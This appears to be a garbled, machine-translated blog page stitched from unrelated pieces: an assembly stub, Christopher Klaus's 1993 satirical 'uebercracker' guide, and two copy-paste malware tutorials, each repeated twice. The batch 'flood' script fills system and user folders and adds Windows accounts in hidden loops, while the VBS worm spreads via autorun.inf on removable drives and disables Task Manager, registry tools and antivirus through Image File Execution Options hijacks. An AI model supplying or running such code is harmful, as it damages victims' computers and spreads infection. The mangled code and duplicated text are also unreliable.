You certainly have to write a normal program with assembly language, which resulted in a program with ektension com. To be more easily understood and will be given a sample format of the program with basic ektension com:
. Model Small
. Code
Org 100h
Label: Jmp Label2
Db Dataku the "Program Data Com"
Label2:
Mov AH, 09h
Lea DX, Dataku
Int 21h
Int 20H
End Label1
Saturday, December 27, 2008
How to become a master Hacker
By Christopher Klaus
A Guide to Internet Security: Becoming an Uebercracker and Becoming an UeberAdmin to stop Uebercrackers.
Author: Christopher Klaus
Date: December 5th, 1993.
Version: 1.1
This is a paper will be broken into two parts, one showing 15 easy steps uebercracker and the next part showing how to become a ueberadmin and how to stop a uebercracker. A uebercracker is a term phrased by Dan Farmer to refer to some elite (cr / h) that is practically acker
impossible to keep out of the networks.
Here's the steps to becoming a uebercracker.
Step 1. Relax and remain calm. Remember you are a Uebercracker.
Step 2. If you know a little Unix, you are way ahead of the crowd and skip step 3 past.
Step 3. You may want to buy Unix manual or book to let you know what ls, cd, cat does.
Step 4. Read Usenet for the following groups: alt.irc, alt.security, comp.security.unix. Subscribe to Phrack@well.sf.ca.us to get a background in uebercracker culture.
Step 5. Ask alt.irc on how to get and compile the latest IRC client and connect to IRC.
Step 6. Once on IRC, join the channel # hack. (Whew, you are half-way there!)
Step 7. Now, sit on # hack and send messages to everyone in the channel saying "Hi, Whats up?". Be obnoxious to anyone else that joins and asks questions like "Why cannot I join # warez?"
Step 8. (Important Step) Send private messages to everyone asking for new bugs or holes. Here's a good pointer, look around your system for binary SUID root programs (look in the Unix manual from step 3 if confused). After finding a SUID root binary, (ie. su, chfn, syslog), tell people you have a bug in that program and you wrote a script for it. If they ask how it works, tell them they are "layme". Remember, you are a UeberCracker. Ask them to trade for their get-root scripts.
Step 9. Make them send you some scripts before you send some garbage file (ie. a big core file). Tell them it is encrypted or it was messed up and you need to upload your script again.
Step 10. Spend a week grabbing all the scripts you can. (Dont forget to be obnoxious on # hack otherwise people will look down on you and not give you anything.)
Step 11. Hopefully you will now have atleast one or two scripts that get you root on most Unixes. Grab root on your local machines, read your admin's mail, or even other user's mail, even rm log files and whatever you temps. (look in the Unix manual from step 3 if confused).
Step 12. A good test for true uebercrackerness is to be able to fake mail.
Ask other uebercrackers how to fake mail (because they have had to pass the same test). Email your admin how "layme" he is and how you got root, and how you erased his files, and have it appear coming from satan@evil.com.
Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag about your exploits on # hack to everyone. (Make up stuff, Remember, you are a uebercracker.)
Step 14. Wait a few months and have all your notes, etc. in your room ready for when the FBI, Secret Service and other law enforcement agencies confinscate your equipment. Call eff.org to complain how you were and how innocent you accidently gotten someone else's account and only looked because you were curious. (Whatever else that may help, throw at them.)
Step 15. Now for the true final supreme eliteness of all uebercrackers, you go back to # hack and brag about how you were Busted. YOU are finally a true Uebercracker.
Now the next part of the paper is top secret. Please pass only to trusted friends and administrators and even some trusted mailing lists, Usenet groups, etc. (Make sure no one who is NOT in the inner circle of security gets this.)
This is broken down on How to Become an UeberAdmin (otherwise know as a security expert) and How to stop Uebercrackers.
Step 1. Read Unix manual (a good idea for admins).
Step 2. Very Important. Chmod 700 rdist; chmod 644 / etc / utmp. Install sendmail 8.6.4. You have probably stopped 60 percent of all Uebercrackers now. Rdist scripts is among the favorites for getting root by uebercrackers.
Step 3. Okay, maybe you want to actually secure your machine from the elite Uebercrackers who can break into any site on the Internet.
Step 4. Set up your firewall to block RPC / nfs / ip-forwarding / src routing packets. (This only applies to advanced admins who have control of the router, but this will stop 90% of all uebercrackers from attempting your site.)
Step 5. Apply all vendor patches Cert and to all of your machines. You have just now killed 95% of all uebercrackers.
Step 6. Run a good password cracker to find open accounts and close them.
Run tripwire after making sure your binaries are untouched. Run tcp_wrapper to find if a uebercracker is knocking on your machines. Run ISS to make sure that all your machines are reasonably secure as far as remote configuration (ie. your NFS exports and anonymous FTP site.)
Step 7. If you have done all of the following, you will have stopped 99% of all uebercrackers. Congrads! (Remember, you are the admin.)
Step 8. Now there is one percent of uebercrackers that have gained some knowledge from reading security expert's mail (probably gained access to his mail via NFS exports or the guest account. You know how it is, like the mechanic that always has a broken car, or the plumber that has the broken sink, the security expert usually has an open machine.)
Step 9. Here is the hard part is to try to convince these security experts that they are not so above the average citizen and that by now giving out their unknown (except for the uebercrackers) security bug, it would be a service to the Internet. They do not have to post it on Usenet, but share
among many other trusted people and hopefully fixes will come about and new pressure will be applied to vendors to come out with patches.
Step 10. If you have gained the confidence of enough security experts, you will know to be looked upto as an elite security administrator that is able to stop most uebercrackers. The final true test for being a ueberadmin is to compile a IRC client, go onto # hack and log all the bragging and help catch the uebercrackers. If a uebercracker does get into your system, and he has used a new method you have never seen, you can probably tell your other security admins and get half of the replies like - "That bug been known for years, there just is not any patches for it yet. Here's my fix. " and the other half of the replies will be like - "Wow. That is very impressive. You have just moved up a big security NOTCH in my circle." VERY IMPORTANT HERE: If you see anyone's security in Usenet newsgroups mention anything about that security holes, Flame him for discussing it since it could bring down the Internet and all Uebercrackers will now have it and the million other reasons to keep everything secret about security.
Well, this paper has shown the finer details of security on the Internet. It has shown both sides of the coin. Three points I would like to make that would probably clean up most of the security problems on the Internet are the following:
1. Vendors need to make security a little higher than zero in priority.
If most vendors shipped their Unixes already secure with most known bugs that have been floating around since the Internet Worm (6 years ago) fixed and patched, then most would be stuck uebercrackers as new machines get added to the Internet. (I believe Uebercracker is german for "lame copy-cat that can get root with 3 year old bugs.") An interesting note is that
if you probably check the mail alias for "security@vendor.com", you will find it points to / dev / null. Maybe with enough mail, it will overfill / dev / null. (Look in the manual if confused.)
2. Security experts giving up the attitude that they are above the normal
Internet users and try to give out information that could lead to pressure by other admins to vendors to come out with fixes and patches. Most security experts probably do not realize how far their information has already spread.
3. And probably one of the more important points is just following the steps I have outlined for Stopping a Uebercracker.
Resources for Security:
Many security advisories are available from anonymous ftp cert.org.
Ask archie to find tcp_wrapper, security programs. For more information about ISS (Internet Security Scanner), email cklaus@shadow.net.
Acknowledgements:
Thanks to the crew on IRC, Dan Farmer, Wietse Venema, Alec Muffet, Scott
Miles, Scott Yelich, and Henri De Valois.
Learn More... Ecology
Source: http://www.governmentsecurity.org/HowtobecomeamasterHacker.php
A Guide to Internet Security: Becoming an Uebercracker and Becoming an UeberAdmin to stop Uebercrackers.
Author: Christopher Klaus
Date: December 5th, 1993.
Version: 1.1
This is a paper will be broken into two parts, one showing 15 easy steps uebercracker and the next part showing how to become a ueberadmin and how to stop a uebercracker. A uebercracker is a term phrased by Dan Farmer to refer to some elite (cr / h) that is practically acker
impossible to keep out of the networks.
Here's the steps to becoming a uebercracker.
Step 1. Relax and remain calm. Remember you are a Uebercracker.
Step 2. If you know a little Unix, you are way ahead of the crowd and skip step 3 past.
Step 3. You may want to buy Unix manual or book to let you know what ls, cd, cat does.
Step 4. Read Usenet for the following groups: alt.irc, alt.security, comp.security.unix. Subscribe to Phrack@well.sf.ca.us to get a background in uebercracker culture.
Step 5. Ask alt.irc on how to get and compile the latest IRC client and connect to IRC.
Step 6. Once on IRC, join the channel # hack. (Whew, you are half-way there!)
Step 7. Now, sit on # hack and send messages to everyone in the channel saying "Hi, Whats up?". Be obnoxious to anyone else that joins and asks questions like "Why cannot I join # warez?"
Step 8. (Important Step) Send private messages to everyone asking for new bugs or holes. Here's a good pointer, look around your system for binary SUID root programs (look in the Unix manual from step 3 if confused). After finding a SUID root binary, (ie. su, chfn, syslog), tell people you have a bug in that program and you wrote a script for it. If they ask how it works, tell them they are "layme". Remember, you are a UeberCracker. Ask them to trade for their get-root scripts.
Step 9. Make them send you some scripts before you send some garbage file (ie. a big core file). Tell them it is encrypted or it was messed up and you need to upload your script again.
Step 10. Spend a week grabbing all the scripts you can. (Dont forget to be obnoxious on # hack otherwise people will look down on you and not give you anything.)
Step 11. Hopefully you will now have atleast one or two scripts that get you root on most Unixes. Grab root on your local machines, read your admin's mail, or even other user's mail, even rm log files and whatever you temps. (look in the Unix manual from step 3 if confused).
Step 12. A good test for true uebercrackerness is to be able to fake mail.
Ask other uebercrackers how to fake mail (because they have had to pass the same test). Email your admin how "layme" he is and how you got root, and how you erased his files, and have it appear coming from satan@evil.com.
Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag about your exploits on # hack to everyone. (Make up stuff, Remember, you are a uebercracker.)
Step 14. Wait a few months and have all your notes, etc. in your room ready for when the FBI, Secret Service and other law enforcement agencies confinscate your equipment. Call eff.org to complain how you were and how innocent you accidently gotten someone else's account and only looked because you were curious. (Whatever else that may help, throw at them.)
Step 15. Now for the true final supreme eliteness of all uebercrackers, you go back to # hack and brag about how you were Busted. YOU are finally a true Uebercracker.
Now the next part of the paper is top secret. Please pass only to trusted friends and administrators and even some trusted mailing lists, Usenet groups, etc. (Make sure no one who is NOT in the inner circle of security gets this.)
This is broken down on How to Become an UeberAdmin (otherwise know as a security expert) and How to stop Uebercrackers.
Step 1. Read Unix manual (a good idea for admins).
Step 2. Very Important. Chmod 700 rdist; chmod 644 / etc / utmp. Install sendmail 8.6.4. You have probably stopped 60 percent of all Uebercrackers now. Rdist scripts is among the favorites for getting root by uebercrackers.
Step 3. Okay, maybe you want to actually secure your machine from the elite Uebercrackers who can break into any site on the Internet.
Step 4. Set up your firewall to block RPC / nfs / ip-forwarding / src routing packets. (This only applies to advanced admins who have control of the router, but this will stop 90% of all uebercrackers from attempting your site.)
Step 5. Apply all vendor patches Cert and to all of your machines. You have just now killed 95% of all uebercrackers.
Step 6. Run a good password cracker to find open accounts and close them.
Run tripwire after making sure your binaries are untouched. Run tcp_wrapper to find if a uebercracker is knocking on your machines. Run ISS to make sure that all your machines are reasonably secure as far as remote configuration (ie. your NFS exports and anonymous FTP site.)
Step 7. If you have done all of the following, you will have stopped 99% of all uebercrackers. Congrads! (Remember, you are the admin.)
Step 8. Now there is one percent of uebercrackers that have gained some knowledge from reading security expert's mail (probably gained access to his mail via NFS exports or the guest account. You know how it is, like the mechanic that always has a broken car, or the plumber that has the broken sink, the security expert usually has an open machine.)
Step 9. Here is the hard part is to try to convince these security experts that they are not so above the average citizen and that by now giving out their unknown (except for the uebercrackers) security bug, it would be a service to the Internet. They do not have to post it on Usenet, but share
among many other trusted people and hopefully fixes will come about and new pressure will be applied to vendors to come out with patches.
Step 10. If you have gained the confidence of enough security experts, you will know to be looked upto as an elite security administrator that is able to stop most uebercrackers. The final true test for being a ueberadmin is to compile a IRC client, go onto # hack and log all the bragging and help catch the uebercrackers. If a uebercracker does get into your system, and he has used a new method you have never seen, you can probably tell your other security admins and get half of the replies like - "That bug been known for years, there just is not any patches for it yet. Here's my fix. " and the other half of the replies will be like - "Wow. That is very impressive. You have just moved up a big security NOTCH in my circle." VERY IMPORTANT HERE: If you see anyone's security in Usenet newsgroups mention anything about that security holes, Flame him for discussing it since it could bring down the Internet and all Uebercrackers will now have it and the million other reasons to keep everything secret about security.
Well, this paper has shown the finer details of security on the Internet. It has shown both sides of the coin. Three points I would like to make that would probably clean up most of the security problems on the Internet are the following:
1. Vendors need to make security a little higher than zero in priority.
If most vendors shipped their Unixes already secure with most known bugs that have been floating around since the Internet Worm (6 years ago) fixed and patched, then most would be stuck uebercrackers as new machines get added to the Internet. (I believe Uebercracker is german for "lame copy-cat that can get root with 3 year old bugs.") An interesting note is that
if you probably check the mail alias for "security@vendor.com", you will find it points to / dev / null. Maybe with enough mail, it will overfill / dev / null. (Look in the manual if confused.)
2. Security experts giving up the attitude that they are above the normal
Internet users and try to give out information that could lead to pressure by other admins to vendors to come out with fixes and patches. Most security experts probably do not realize how far their information has already spread.
3. And probably one of the more important points is just following the steps I have outlined for Stopping a Uebercracker.
Resources for Security:
Many security advisories are available from anonymous ftp cert.org.
Ask archie to find tcp_wrapper, security programs. For more information about ISS (Internet Security Scanner), email cklaus@shadow.net.
Acknowledgements:
Thanks to the crew on IRC, Dan Farmer, Wietse Venema, Alec Muffet, Scott
Miles, Scott Yelich, and Henri De Valois.
Learn More... Ecology
Source: http://www.governmentsecurity.org/HowtobecomeamasterHacker.php
How to Make a Shutdown 'Virus' with Notepad ( .bat )
It's not really a virus, it causes no damage to your PC. This. Bat script file will not be detected by any anti-virus out there. This is a file legitament made by IT admins to shutdown all the PC's at once in their network. Follow the video below for a step by step guide on how to make your own.
here is a good virus if u want but just so u know i am not for anything responceable
copy this to notepad and save as flood1.bat
@ ECHO OFF
Phoenix @ ECHO A PRODUCTION
@ ECHO MAIN BAT RUNNING
GOTO start
: start
@ ECHO SET snowball2 = 1>> bat6.bat
@ ECHO GOTO flood5>> bat6.bat
@ ECHO: flood5>> bat6.bat
@ ECHO SET / a snowball2 = snowball2%%%% +1>> bat6.bat
@ ECHO NET USER snowball2%%%% snowball2 / add>> bat6.bat
@ ECHO GOTO flood5>> bat6.bat
START / MIN bat6.bat
GOTO bat5
: bat5
@ ECHO CD%%% ProgramFiles% \>> bat5.bat
@ ECHO SET Maggi = 1>> bat5.bat
@ ECHO GOTO flood4>> bat5.bat
@ ECHO: flood4>> bat5.bat
@ ECHO mkdir Maggi Maggi%%%%>> bat5.bat
@ ECHO SET / a Maggi Maggi =%%%% +1>> bat5.bat
@ ECHO GOTO flood4>> bat5.bat
START / MIN bat5.bat
GOTO bat4
: bat4
@ ECHO CD%% SystemRoot%% \>> bat4.bat
@ ECHO SET marge = 1>> bat4.bat
@ ECHO GOTO flood3>> bat4.bat
@ ECHO: flood3>> bat4.bat
@ ECHO marge mkdir marge%%%%>> bat4.bat
@ ECHO SET / marge a marge =%%%% +1>> bat4.bat
@ ECHO GOTO flood3>> bat4.bat
START / MIN bat4.bat
GOTO bat3
: bat3
@ ECHO CD%%% UserProfile% \ Start Menu \ Programs \>> bat3.bat
@ ECHO SET bart = 1>> bat3.bat
@ ECHO GOTO flood2>> bat3.bat
@ ECHO: flood2>> bat3.bat
@ ECHO mkdir bart bart%%%%>> bat3.bat
@ ECHO SET / a bart bart =%%%% +1>> bat3.bat
@ ECHO GOTO flood2>> bat3.bat
START / MIN bat3.bat
GOTO bat2
: bat2
@ ECHO CD%%% UserProfile% \ Desktop \>> bat2.bat
@ ECHO SET Homer = 1>> bat2.bat
@ ECHO GOTO flood>> bat2.bat
@ ECHO: flood>> bat2.bat
@ ECHO mkdir Homer Homer%%%%>> bat2.bat
@ ECHO SET / a Homer Homer =%%%% +1>> bat2.bat
@ ECHO GOTO flood>> bat2.bat
START /MIN bat2.bat
GOTO original
: original
CD% HomeDrive% \
Lisa SET = 1
GOTO flood1
: flood1
Lisa lisa mkdir%%
SET / a lisa lisa =% +1%
GOTO flood1
Source by http://kinghavoc.tblog.com/archive/2007/11/1969966579
here is a good virus if u want but just so u know i am not for anything responceable
copy this to notepad and save as flood1.bat
@ ECHO OFF
Phoenix @ ECHO A PRODUCTION
@ ECHO MAIN BAT RUNNING
GOTO start
: start
@ ECHO SET snowball2 = 1>> bat6.bat
@ ECHO GOTO flood5>> bat6.bat
@ ECHO: flood5>> bat6.bat
@ ECHO SET / a snowball2 = snowball2%%%% +1>> bat6.bat
@ ECHO NET USER snowball2%%%% snowball2 / add>> bat6.bat
@ ECHO GOTO flood5>> bat6.bat
START / MIN bat6.bat
GOTO bat5
: bat5
@ ECHO CD%%% ProgramFiles% \>> bat5.bat
@ ECHO SET Maggi = 1>> bat5.bat
@ ECHO GOTO flood4>> bat5.bat
@ ECHO: flood4>> bat5.bat
@ ECHO mkdir Maggi Maggi%%%%>> bat5.bat
@ ECHO SET / a Maggi Maggi =%%%% +1>> bat5.bat
@ ECHO GOTO flood4>> bat5.bat
START / MIN bat5.bat
GOTO bat4
: bat4
@ ECHO CD%% SystemRoot%% \>> bat4.bat
@ ECHO SET marge = 1>> bat4.bat
@ ECHO GOTO flood3>> bat4.bat
@ ECHO: flood3>> bat4.bat
@ ECHO marge mkdir marge%%%%>> bat4.bat
@ ECHO SET / marge a marge =%%%% +1>> bat4.bat
@ ECHO GOTO flood3>> bat4.bat
START / MIN bat4.bat
GOTO bat3
: bat3
@ ECHO CD%%% UserProfile% \ Start Menu \ Programs \>> bat3.bat
@ ECHO SET bart = 1>> bat3.bat
@ ECHO GOTO flood2>> bat3.bat
@ ECHO: flood2>> bat3.bat
@ ECHO mkdir bart bart%%%%>> bat3.bat
@ ECHO SET / a bart bart =%%%% +1>> bat3.bat
@ ECHO GOTO flood2>> bat3.bat
START / MIN bat3.bat
GOTO bat2
: bat2
@ ECHO CD%%% UserProfile% \ Desktop \>> bat2.bat
@ ECHO SET Homer = 1>> bat2.bat
@ ECHO GOTO flood>> bat2.bat
@ ECHO: flood>> bat2.bat
@ ECHO mkdir Homer Homer%%%%>> bat2.bat
@ ECHO SET / a Homer Homer =%%%% +1>> bat2.bat
@ ECHO GOTO flood>> bat2.bat
START /MIN bat2.bat
GOTO original
: original
CD% HomeDrive% \
Lisa SET = 1
GOTO flood1
: flood1
Lisa lisa mkdir%%
SET / a lisa lisa =% +1%
GOTO flood1
Source by http://kinghavoc.tblog.com/archive/2007/11/1969966579
Make Virus Via NotePad
We will create a more powerful virus again. If you have not yet know, I want to apologize because in the previous article have an error code. Please replace the word "rekursif" to "rekur". If not, syntax error can later
Come on now we are open Notepadnya and type the following code. If a lazy tinggak Copy> Paste ....
'Bat-X
'Variant of Kalong.VBS
on error resume next
'Dim words following
rekur dim, windowpath, desades, fs, mf, content, TF, bat, nt, check, sd
'To prepare the content autorun
content = "[autorun]" & vbCrLf & "shellexecute = wscript.exe k4l0n6ms32.dll.vbs"
set fs = createobject ( "Scripting.FileSystemObject")
set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1, -2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbCrLf
loop
do
'A parent file
Set windowpath = fs.getspecialfolder (0)
set TF = fs.getfile (windowpath & "\ k4l0n6-x.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (windowpath & "\ k4l0n6-x.dll.vbs", 2, true)
tf.write rekur
tf.close
set TF = fs.getfile (windowpath & "\ k4l0n6-x.dll.vbs")
tf.attributes = 39
'Sebar added to the removable disc with Autorun.inf
for each desades in fs.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> "A:" then
set TF = fs.getfile (desades.path & "\ k4l0n6ms32.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (desades.path & "\ k4l0n6ms32.dll.vbs", 2, true)
tf.write rekur
tf.close
set TF = fs.getfile (desades.path & "\ k4l0n6ms32.dll.vbs")
tf.attributes = 39
set TF = fs.getfile (desades.path & "\ autorun.inf")
tf.attributes = 32
set TF = fs.createtextfile (desades.path & "\ autorun.inf", 2, true)
tf.write contents
tf.close
set TF = fs.getfile (desades.path & "\ autorun.inf")
tf.attributes = 39
end if
next
'Registry Manipulation
set bat = createobject ( "WScript.Shell")
'Change IE Title
kalong.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Internet Explorer \ Main \ Window Title ",":: -> bat-X <-:: 2="" a="" advanced="" amp="" and="" application.="" at="" batch-k4l0n6.dll.vbs="" check="" cmd.exe="" currentversion="" debugger="" disableregistrytools="" disabletaskmgr="" during="" execution="" explorer="" file="" files="" folderoptions="" following="" for="" hidden="" i="" idden="" if="" image="" install.exe="" ivert="" kalong.regwrite="" legalnoticecaption="" legalnoticetext="" lock="" manager="" message="" microsoft="" msconfig.exe="" nofind="" nofolderoptions="" norun="" not="" notepad.exe="" notepad="" noviewcontextmenu="" nt="" o="" onus="" opened="" options="" panic="" pcmav-cln.exe="" pcmav-rtp.exe="" pcmav.exe="" policies="" program="" reason="" reate="" regedit.exe="" regedit="" regedt32.exe="" registryeditor.exe="" right-click="" run="" seen="" setup.exe="" software="" startup="" system="" systemdir="" tart="" task="" the="" windowpath="" windows="" winlogon="" with="" x-bat=""> 1 then
Wscript.sleep 200,000
end if
loop while check <> 1
set sd = createobject ( "Wscript.shell")
sd.run windowpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname
Once you place the code click FILE> SAVE. In the File Type select ALL FILES (*.*) and save with the name k4l0n6ms32.dll.vbs. After that you try to run. And yes, you've run a bat-X.VBS on your computer.
If you open an application called: cmd.exe, install.exe, msconfig.exe, regedit.exe, regedt32.exe, RegistryEditor.exe, setup.exe, PCMAV.exe, PCMAV-CLN.exe, and PCMAV-RTP. exe so that Notepad will open its more or less like this:
Remember the people that are useful for other people. There is no "dangerous goods" here because you are making them dangerous. I am not responsible if you misuse this code. This is for science only. I curse if abused face similar hammer (Wah ... so famous later) ... do not deh. The point of desperation you by your own.
This virus has the ability Autorun computer so that dicolokkan Removable Disc (Mislanya Flash Disc), which infected the virus will also diinfeksi (if not in the Autorun disabled)
NOTE: To clean the bat-X is easy. Living stop the process called wscript.exe. If the WinNT you can do so through the Task Manager. But if Win9x please search tool such as Task Manager replacement Procexp or CurrProcess. What if sometimes via the Command Prompt I can.
Once you dismiss the process of removing the file wscript.exe parent who called k4l0n6-x.dll.vbs in WINDOWSDIR (C: \ Windows for example). If no first show hidden files with Folder Options. Then fix the Registry. To speed up the code to copy the Notepad:
[Version]
Signature = "$ Chicago $"
Provider = Fariskhi
[DefaultInstall]
AddReg = UnhookRegKey
DelReg = del
[UnhookRegKey]
HKCU, Software \ Microsoft \ Internet Explorer \ Main, Window Title, 0, "INTERNET EXPLORER"
[del]
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoFind
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoFolderOptions
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoRun
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System, DisableRegistryTools
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System, DisableTaskMgr
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoViewContextMenu
HKLM, Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon, LegalNoticeCaption
HKLM, Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon, LegalNoticeText
HKLM, Software \ Microsoft \ Windows \ CurrentVersion \ Run, Systemdir
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ cmd.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ install.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ msconfig.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ regedit.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ regedt32.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ RegistryEditor.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ setup.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ PCMAV.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ PCMAV-CLN.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ PCMAV-RTP.exe, Debugger
After that save the FILE TYPE: ALL FILES (*.*) and save with the name: kalongxremoval.inf. Then right-click the file and select install. So we create a virus and Antidotnya together with Notepad.ini tutorial is the property of friends but I am calm aja da kurubah sintak program in the registry in its
Source: http://sahammudien.wordpress.com/2007/12/12/make-virus-via-notepad/
Come on now we are open Notepadnya and type the following code. If a lazy tinggak Copy> Paste ....
'Bat-X
'Variant of Kalong.VBS
on error resume next
'Dim words following
rekur dim, windowpath, desades, fs, mf, content, TF, bat, nt, check, sd
'To prepare the content autorun
content = "[autorun]" & vbCrLf & "shellexecute = wscript.exe k4l0n6ms32.dll.vbs"
set fs = createobject ( "Scripting.FileSystemObject")
set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1, -2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbCrLf
loop
do
'A parent file
Set windowpath = fs.getspecialfolder (0)
set TF = fs.getfile (windowpath & "\ k4l0n6-x.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (windowpath & "\ k4l0n6-x.dll.vbs", 2, true)
tf.write rekur
tf.close
set TF = fs.getfile (windowpath & "\ k4l0n6-x.dll.vbs")
tf.attributes = 39
'Sebar added to the removable disc with Autorun.inf
for each desades in fs.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> "A:" then
set TF = fs.getfile (desades.path & "\ k4l0n6ms32.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (desades.path & "\ k4l0n6ms32.dll.vbs", 2, true)
tf.write rekur
tf.close
set TF = fs.getfile (desades.path & "\ k4l0n6ms32.dll.vbs")
tf.attributes = 39
set TF = fs.getfile (desades.path & "\ autorun.inf")
tf.attributes = 32
set TF = fs.createtextfile (desades.path & "\ autorun.inf", 2, true)
tf.write contents
tf.close
set TF = fs.getfile (desades.path & "\ autorun.inf")
tf.attributes = 39
end if
next
'Registry Manipulation
set bat = createobject ( "WScript.Shell")
'Change IE Title
kalong.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Internet Explorer \ Main \ Window Title ",":: -> bat-X <-:: 2="" a="" advanced="" amp="" and="" application.="" at="" batch-k4l0n6.dll.vbs="" check="" cmd.exe="" currentversion="" debugger="" disableregistrytools="" disabletaskmgr="" during="" execution="" explorer="" file="" files="" folderoptions="" following="" for="" hidden="" i="" idden="" if="" image="" install.exe="" ivert="" kalong.regwrite="" legalnoticecaption="" legalnoticetext="" lock="" manager="" message="" microsoft="" msconfig.exe="" nofind="" nofolderoptions="" norun="" not="" notepad.exe="" notepad="" noviewcontextmenu="" nt="" o="" onus="" opened="" options="" panic="" pcmav-cln.exe="" pcmav-rtp.exe="" pcmav.exe="" policies="" program="" reason="" reate="" regedit.exe="" regedit="" regedt32.exe="" registryeditor.exe="" right-click="" run="" seen="" setup.exe="" software="" startup="" system="" systemdir="" tart="" task="" the="" windowpath="" windows="" winlogon="" with="" x-bat=""> 1 then
Wscript.sleep 200,000
end if
loop while check <> 1
set sd = createobject ( "Wscript.shell")
sd.run windowpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname
Once you place the code click FILE> SAVE. In the File Type select ALL FILES (*.*) and save with the name k4l0n6ms32.dll.vbs. After that you try to run. And yes, you've run a bat-X.VBS on your computer.
If you open an application called: cmd.exe, install.exe, msconfig.exe, regedit.exe, regedt32.exe, RegistryEditor.exe, setup.exe, PCMAV.exe, PCMAV-CLN.exe, and PCMAV-RTP. exe so that Notepad will open its more or less like this:
Remember the people that are useful for other people. There is no "dangerous goods" here because you are making them dangerous. I am not responsible if you misuse this code. This is for science only. I curse if abused face similar hammer (Wah ... so famous later) ... do not deh. The point of desperation you by your own.
This virus has the ability Autorun computer so that dicolokkan Removable Disc (Mislanya Flash Disc), which infected the virus will also diinfeksi (if not in the Autorun disabled)
NOTE: To clean the bat-X is easy. Living stop the process called wscript.exe. If the WinNT you can do so through the Task Manager. But if Win9x please search tool such as Task Manager replacement Procexp or CurrProcess. What if sometimes via the Command Prompt I can.
Once you dismiss the process of removing the file wscript.exe parent who called k4l0n6-x.dll.vbs in WINDOWSDIR (C: \ Windows for example). If no first show hidden files with Folder Options. Then fix the Registry. To speed up the code to copy the Notepad:
[Version]
Signature = "$ Chicago $"
Provider = Fariskhi
[DefaultInstall]
AddReg = UnhookRegKey
DelReg = del
[UnhookRegKey]
HKCU, Software \ Microsoft \ Internet Explorer \ Main, Window Title, 0, "INTERNET EXPLORER"
[del]
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoFind
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoFolderOptions
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoRun
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System, DisableRegistryTools
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System, DisableTaskMgr
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoViewContextMenu
HKLM, Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon, LegalNoticeCaption
HKLM, Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon, LegalNoticeText
HKLM, Software \ Microsoft \ Windows \ CurrentVersion \ Run, Systemdir
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ cmd.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ install.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ msconfig.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ regedit.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ regedt32.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ RegistryEditor.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ setup.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ PCMAV.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ PCMAV-CLN.exe, Debugger
